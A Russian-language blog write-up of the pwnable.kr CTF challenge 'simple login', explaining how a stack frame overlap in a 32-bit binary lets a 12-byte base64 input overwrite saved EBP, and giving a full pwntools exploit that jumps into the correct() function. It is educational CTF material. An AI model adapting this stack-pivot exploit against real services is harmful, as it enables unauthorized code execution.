image

В данной статье решим 24-е задание с сайта pwnable.krи узнаем про наложение стекового фрейма.

Организационная информация
Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:

  • PWN;
  • криптография (Crypto);
  • cетевые технологии (Network);
  • реверс (Reverse Engineering);
  • стеганография (Stegano);
  • поиск и эксплуатация WEB-уязвимостей.

Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.

Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Решение задания simple login


Продолжаем второй раздел. Скажу сразу, что сложнее первого и нам не предоставляется исходный код приложений. Не забываем про обсуждение здесь. Начнем.

Нажимаем на иконку с подписью simple login. Нам дают адрес и порт для подключения и саму программу.

image

Скачиваем все что нам дают, проверяем бинарник.

image

Это 32-битный elf с установленной канарейкой и неисполняемым стеком. Декомпилируем в IDA Pro.

image

В программе пользовательские данные декодируются из base64. В переменную v7 сохраняется длина декодированной строки. Далее производится сравнение v7 с 12. Если проверка пройдена, то декодированная строка копируется в переменную input, а далее вызывается функция auth, в которую в качестве параметра передается длина декодированной строки. И если мы проходим аутентификацию, вызывается функция correct. Просмотрим функцию auth.

image

Похоже на переполнение буфера. Глянем стек.

image

Нет. Переполнить буфер мы не можем, так как для этого необходим более 12 байт. Интересны адреса, по которым хранятся значение переменных, особенно переменная v4, в которую осуществляется копирование.

image

Это адрес [ ESP + 32 ]. Взглянем на код этой в дизассемблированном виде.

image

Следующие инструкции необходимы для сохранения фрейма стека.
push ebp
mov ebp, esp

Для восстановления стека используется инструкция leave. Которая выполнем обратные операции.

image

Наиболее интересна третья инструкция sub esp, 28h.

Таким образом, возникает перекрытие: esp уменьшается на 40, а переменая v2 расположена по адресу esp+32 и занимает 12 байт. То есть после перемещения значения из esp в ebp, в ebp сохранится адрес последних четырех байтов переменной v2. При выполнении инструкции leave и retn в старшем фрейме стека теперь будет находиться последние четыре байта переменной v2.

Давайте проверим и дадим на вход программе строку QUFBQUFBQUFCQkJC.

image

Если наше предположение верно, то после выполнения retn в функции auth, вершиной стека будет адрес “BBBB”.

image

Теперь выполним leave.

image

В EBP находится “BBBB” и теперь после выполнения leave в основной функции main программа упадет. Таким образом мы можем перед адрес вершины стека, по которому будет расположен адрес, на который мы хотим перейти. Тогда нагрузка будет такой: 4 любых байта + адрес куда мы переходим + адрес на начало нагрузки.

Сначала напишем шаблон.
from pwn import *
from base64 import *

r = remote('pwnable.kr', 9003)
r.recv()

r.interactive()

Теперь разбираемся с адресом, куда мы хотим перейти — это 0x8049284 внутри функции correct.

image

Этот адрес будет второй частью нашей нагрузки. Третьей частью нагрузки будет адрес переменной input (адрес нагрузки).

image

Составляем нагрузку в коде. Не забываем кодировать в base64:
payload = "A"*4 + p32(0x8049284) + p32(0x811EB40)
payload = b64encode(payload)

Полный код.
from pwn import *
from base64 import *

r = remote('pwnable.kr', 9003)
r.recv()

payload = "A"*4 + p32(0x8049284) + p32(0x811EB40)
payload = b64encode(payload)

r.send(payload+"\n")

r.interactive()

image

И получаем свои очки. Честно сказать, данное задание для меня прошло не очень легко.

image

А мы продолжаем: в следующей статье — форензика. Вы можете присоединиться к нам в Telegram.

Комментарии (0)